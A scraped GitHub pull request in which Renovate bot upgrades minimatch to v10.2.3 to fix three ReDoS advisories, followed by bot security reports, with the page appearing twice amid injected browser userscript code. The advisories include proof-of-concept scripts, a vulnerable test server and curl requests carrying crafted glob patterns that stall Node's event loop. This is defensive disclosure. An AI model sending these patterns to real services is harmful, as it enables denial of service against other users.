, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Strip utm_, fbclid, gclid, etc. from all links on page\n(function() {\n var trackingParams = ['utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content',\n 'fbclid', 'gclid', 'dclid', 'msclkid', 'yclid',\n 'ref', 'ref_src', 'source', 'medium', 'campaign'];\n \n function cleanUrl(url) {\n try {\n var u = new URL(url, window.location.origin);\n var changed = false;\n trackingParams.forEach(function(p) {\n if (u.searchParams.has(p)) {\n u.searchParams.delete(p);\n changed = true;\n }\n });\n return changed ? u.toString() : url;\n } catch (e) {\n return url;\n }\n }\n \n function cleanLinks() {\n document.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n \n cleanLinks();\n \n var observer = new MutationObserver(function(mutations) {\n mutations.forEach(function(m) {\n m.addedNodes.forEach(function(node) {\n if (node.nodeType === 1) {\n if (node.tagName === 'A') cleanLinks();\n node.querySelectorAll('a[href]').forEach(function(a) {\n var clean = cleanUrl(a.href);\n if (clean !== a.href) a.href = clean;\n });\n }\n });\n });\n });\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Remove Tracking Parameters from Links"); } } catch(__e) { console.warn('[Userscript:Remove Tracking Parameters from Links]', __e); } })(); (function(){ try { var __m = "youtube.com"; var __re = new RegExp('^' + "youtube\\.com" + '
Skip to content

chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - #210

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-minimatch-vulnerability
Open

chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]#210
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-minimatch-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Feb 23, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

PackageChangeAgeConfidence
minimatch10.0.310.2.3ageconfidence

minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern

CVE-2026-26996 / GHSA-3ppc-4f35-3m26

More information

Details

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

  • File search/filter UIs that accept glob patterns
  • .gitignore-style filtering with user-defined rules
  • Build tools that accept glob configuration
  • Any API that exposes glob matching to untrusted input

Thanks to @​ljharb for back-porting the fix to legacy versions of minimatch.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions

CVE-2026-27904 / GHSA-23c5-xmqv-rm74

More information

Details

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type==='*'&&bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

PatternGenerated regex
*(a|b)/^(?:a|b)*$/
*(*(a|b))/^(?:(?:a|b)*)*$/
*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

PatternInputTime
*(*(a|b))a x30 + z~68,000ms
*(*(*(a|b)))a x20 + z~124,000ms
*(*(*(*(a|b))))a x25 + z~116,000ms
*(a|a)a x25 + z~2,000ms

Depth inflection at fixed input a x16 + z:

DepthPatternTime
1*(a|b)0ms
2*(*(a|b))4ms
3*(*(*(a|b)))270ms
4*(*(*(*(a|b))))115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import{minimatch,Minimatch}from'minimatch'functiontimed(fn){consts=process.hrtime.bigint()letresult,errortry{result=fn()}catch(e){error=e}constms=Number(process.hrtime.bigint()-s)/1e6return{ ms, result, error }}// Verify generated regexpsfor(letdepth=1;depth<=4;depth++){letpat='a|b'for(leti=0;i<depth;i++)pat=`*(${pat})`constre=newMinimatch(pat,{}).set?.[0]?.[0]?.toString()console.log(`depth=${depth} "${pat}" -> ${re}`)}// depth=1 "*(a|b)" -> /^(?:a|b)*$/// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/// Safe-length timing (exponential growth confirmation without multi-minute hang)constcases=[['*(*(*(a|b)))',15],// ~270ms['*(*(*(a|b)))',17],// ~800ms['*(*(*(a|b)))',19],// ~2400ms['*(*(a|b))',23],// ~260ms['*(a|b)',101],// <5ms (depth=1 control)]for(const[pat,n]ofcases){constt=timed(()=>minimatch('a'.repeat(n)+'z',pat))console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)}// Confirm noext disables the vulnerabilityconstt_noext=timed(()=>minimatch('a'.repeat(18)+'z','*(*(*(a|b)))',{noext: true}))console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)// +() is equally affectedconstt_plus=timed(()=>minimatch('a'.repeat(17)+'z','+(+(+(a|b)))'))console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)" -> /^(?:a|b)*$/
depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))" n=23: 257ms result=false
"*(a|b)" n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

importhttpfrom'node:http'import{URL}from'node:url'import{minimatch}from'minimatch'constPORT=3001http.createServer((req,res)=>{consturl=newURL(req.url,`http://localhost:${PORT}`)constpattern=url.searchParams.get('pattern')??''constpath=url.searchParams.get('path')??''conststart=process.hrtime.bigint()constresult=minimatch(path,pattern)constms=Number(process.hrtime.bigint()-start)/1e6console.log(`[${newDate().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)res.writeHead(200,{'Content-Type': 'application/json'})res.end(JSON.stringify({ result,ms: ms.toFixed(0)})+'\n')}).listen(PORT,()=>console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}
time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

CVE-2026-27903 / GHSA-7r86-cg39-jmmj

More information

Details

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while(fr<fl){..if(this.matchOne(file.slice(fr),pattern.slice(pr),partial)){..returntrue}..fr++}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars)Pattern sizeTime
736 bytes~154ms
946 bytes~1.2s
1156 bytes~5.4s
1261 bytes~9.7s
1366 bytes~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import{minimatch}from'minimatch'// k=9 globstars, n=30 path segments// pattern: 46 bytes, default optionsconstpattern='**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'constpath='a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'conststart=Date.now()minimatch(path,pattern)console.log(Date.now()-start+'ms')// ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9sconstk=11constpattern=Array.from({length: k},()=>'**/a').join('/')+'/b'constpath=Array(30).fill('a').join('/')minimatch(path,pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjsimporthttpfrom'node:http'import{URL}from'node:url'import{minimatch}from'minimatch'constPORT=3000constserver=http.createServer((req,res)=>{consturl=newURL(req.url,`http://localhost:${PORT}`)if(url.pathname!=='/match'){res.writeHead(404);res.end();return}constpattern=url.searchParams.get('pattern')??''constpath=url.searchParams.get('path')??''conststart=process.hrtime.bigint()constresult=minimatch(path,pattern)constms=Number(process.hrtime.bigint()-start)/1e6res.writeHead(200,{'Content-Type': 'application/json'})res.end(JSON.stringify({ result,ms: ms.toFixed(0)})+'\n')})server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}
time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}
time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

isaacs/minimatch (minimatch)

v10.2.3

Compare Source

v10.2.2

Compare Source

v10.2.1

Compare Source

v10.2.0

Compare Source

v10.1.3

Compare Source

v10.1.2

Compare Source

v10.1.1

Compare Source

v10.1.0

Compare Source


Configuration

📅 Schedule: (in timezone America/New_York)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovaterenovateBot added the dependencies Upgrade or downgrade of project dependencies. label Feb 23, 2026
@renovate
renovateBot requested a review from a teamFebruary 23, 2026 00:42
@renovate
renovateBot requested review from a team and sullivanpj as code ownersFebruary 23, 2026 00:42
@renovate
renovateBot enabled auto-merge (squash) February 23, 2026 00:42
@renovate

renovateBot commented Feb 23, 2026

Copy link
Copy Markdown
ContributorAuthor

Branch automerge failure

This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.


  • Branch has one or more failed status checks

@deepsource-io

deepsource-ioBot commented Feb 23, 2026

Copy link
Copy Markdown

DeepSource Code Review

We reviewed changes in 242a5a8...26794f9 on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.

See full review on DeepSource ↗

PR Report Card

Overall GradeSecurity

Reliability

Complexity

Hygiene

Code Review Summary

AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 13, 2026 5:21p.m.Review ↗
ShellMar 13, 2026 5:21p.m.Review ↗

@socket-security

socket-securityBot commented Feb 23, 2026

Copy link
Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

DiffPackageSupply Chain
Security
VulnerabilityQualityMaintenanceLicense
Added@​microsoft/​tsdoc@​0.16.0991009084100
Added@​microsoft/​tsdoc-config@​0.18.11001009688100
Updated@​microsoft/​api-extractor@​7.52.13 ⏵ 7.57.794-510089+198+6100

View full report

@socket-security

socket-securityBot commented Feb 23, 2026

Copy link
Copy Markdown

Warning

Review the following alerts detected in dependencies.

According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.

ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm vite is 91.0% likely obfuscated

Confidence: 0.91

Location:Package overview

From:pnpm-lock.yamlnpm/@nx/react@21.5.3npm/vite@7.1.5

ℹ Read more on: This package | This alert | What is obfuscated code?

Next steps: Take a moment to review the security alert above. Review the linked package source code to understand the potential risk. Ensure the package is not malicious before proceeding. If you're unsure how to proceed, reach out to your security team or ask the Socket team for help at support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.

Mark the package as acceptable risk. To ignore this alert only in this pull request, reply with the comment @SocketSecurity ignore npm/vite@7.1.5. You can also ignore all packages with @SocketSecurity ignore-all. To ignore an alert for all future pull requests, use Socket's Dashboard to change the triage state of this alert.

View full report

@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security] - autoclosedFeb 24, 2026
@renovaterenovateBot closed this Feb 24, 2026
auto-merge was automatically disabled February 24, 2026 21:24

Pull request was closed

@renovate
renovateBot deleted the renovate/npm-minimatch-vulnerability branch February 24, 2026 21:24
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]Feb 25, 2026
@renovaterenovateBot reopened this Feb 25, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 8481288 to 6e988ceCompareFebruary 28, 2026 05:19
@renovate
renovateBot enabled auto-merge (squash) February 28, 2026 05:19
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.1 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Feb 28, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 6e988ce to cb916c7CompareMarch 5, 2026 15:34
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from cb916c7 to 26794f9CompareMarch 13, 2026 17:20
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedMar 27, 2026
@renovaterenovateBot closed this Mar 27, 2026
auto-merge was automatically disabled March 27, 2026 02:22

Pull request was closed

@storm-softwarestorm-software locked and limited conversation to collaborators Mar 27, 2026
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Mar 30, 2026
@renovaterenovateBot reopened this Mar 30, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 26794f9 to 8fb4eb9CompareMarch 30, 2026 20:53
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 8fb4eb9 to 5a959f6CompareApril 1, 2026 17:02
@renovate
renovateBot enabled auto-merge (squash) April 1, 2026 17:02
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 5a959f6 to ba70075CompareApril 8, 2026 21:07
@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedApr 27, 2026
@renovaterenovateBot closed this Apr 27, 2026
auto-merge was automatically disabled April 27, 2026 17:55

Pull request was closed

@renovaterenovateBot changed the title chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - autoclosedchore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]Apr 27, 2026
@renovaterenovateBot reopened this Apr 27, 2026
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 32cacb3 to a1528a4CompareApril 29, 2026 09:42
@renovate
renovateBot enabled auto-merge (squash) April 29, 2026 09:42
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 46d0576 to 2af224dCompareMay 18, 2026 12:41
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from b3fbe6f to d9d01ccCompareJune 1, 2026 20:18
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from d9d01cc to ef90e24CompareJune 11, 2026 11:17
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 3 times, most recently from 72e554c to 633c002CompareJuly 24, 2026 22:13
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from 1abc0da to e1d038aCompareJuly 30, 2026 18:13
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from e1d038a to 453fd3cCompareAugust 12, 2026 04:19
@renovate
renovateBotforce-pushed the renovate/npm-minimatch-vulnerability branch from 453fd3c to a853fb9CompareAugust 14, 2026 21:11
Sign up for freeto subscribe to this conversation on GitHub. Already have an account? Sign in.

Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Auto-enable theater mode on YouTube\n(function() {\n function tryTheater() {\n var btn = document.querySelector('button[aria-label=\"Theater mode\"], ytd-player #player button[title=\"Theater mode\"]');\n if (btn && !btn.classList.contains('activated')) {\n btn.click();\n }\n }\n \n // Try immediately\n tryTheater();\n \n // Try after navigation (SPA)\n var lastUrl = location.href;\n setInterval(function() {\n if (location.href !== lastUrl) {\n lastUrl = location.href;\n setTimeout(tryTheater, 500);\n }\n }, 1000);\n \n // Also try on player load\n var observer = new MutationObserver(tryTheater);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "YouTube Theater Mode Default"); } } catch(__e) { console.warn('[Userscript:YouTube Theater Mode Default]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content

chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security] - #210

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-minimatch-vulnerability
Open

chore(monorepo): update pnpm.catalog.default minimatch to v10.2.3 [security]#210
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-minimatch-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Feb 23, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

PackageChangeAgeConfidence
minimatch10.0.310.2.3ageconfidence

minimatch has a ReDoS via repeated wildcards with non-matching literal in pattern

CVE-2026-26996 / GHSA-3ppc-4f35-3m26

More information

Details

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

  • File search/filter UIs that accept glob patterns
  • .gitignore-style filtering with user-defined rules
  • Build tools that accept glob configuration
  • Any API that exposes glob matching to untrusted input

Thanks to @​ljharb for back-porting the fix to legacy versions of minimatch.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions

CVE-2026-27904 / GHSA-23c5-xmqv-rm74

More information

Details

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type==='*'&&bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

PatternGenerated regex
*(a|b)/^(?:a|b)*$/
*(*(a|b))/^(?:(?:a|b)*)*$/
*(*(*(a|b)))/^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b))))/^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

PatternInputTime
*(*(a|b))a x30 + z~68,000ms
*(*(*(a|b)))a x20 + z~124,000ms
*(*(*(*(a|b))))a x25 + z~116,000ms
*(a|a)a x25 + z~2,000ms

Depth inflection at fixed input a x16 + z:

DepthPatternTime
1*(a|b)0ms
2*(*(a|b))4ms
3*(*(*(a|b)))270ms
4*(*(*(*(a|b))))115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import{minimatch,Minimatch}from'minimatch'functiontimed(fn){consts=process.hrtime.bigint()letresult,errortry{result=fn()}catch(e){error=e}constms=Number(process.hrtime.bigint()-s)/1e6return{ ms, result, error }}// Verify generated regexpsfor(letdepth=1;depth<=4;depth++){letpat='a|b'for(leti=0;i<depth;i++)pat=`*(${pat})`constre=newMinimatch(pat,{}).set?.[0]?.[0]?.toString()console.log(`depth=${depth} "${pat}" -> ${re}`)}// depth=1 "*(a|b)" -> /^(?:a|b)*$/// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/// Safe-length timing (exponential growth confirmation without multi-minute hang)constcases=[['*(*(*(a|b)))',15],// ~270ms['*(*(*(a|b)))',17],// ~800ms['*(*(*(a|b)))',19],// ~2400ms['*(*(a|b))',23],// ~260ms['*(a|b)',101],// <5ms (depth=1 control)]for(const[pat,n]ofcases){constt=timed(()=>minimatch('a'.repeat(n)+'z',pat))console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)}// Confirm noext disables the vulnerabilityconstt_noext=timed(()=>minimatch('a'.repeat(18)+'z','*(*(*(a|b)))',{noext: true}))console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)// +() is equally affectedconstt_plus=timed(()=>minimatch('a'.repeat(17)+'z','+(+(+(a|b)))'))console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)" -> /^(?:a|b)*$/
depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
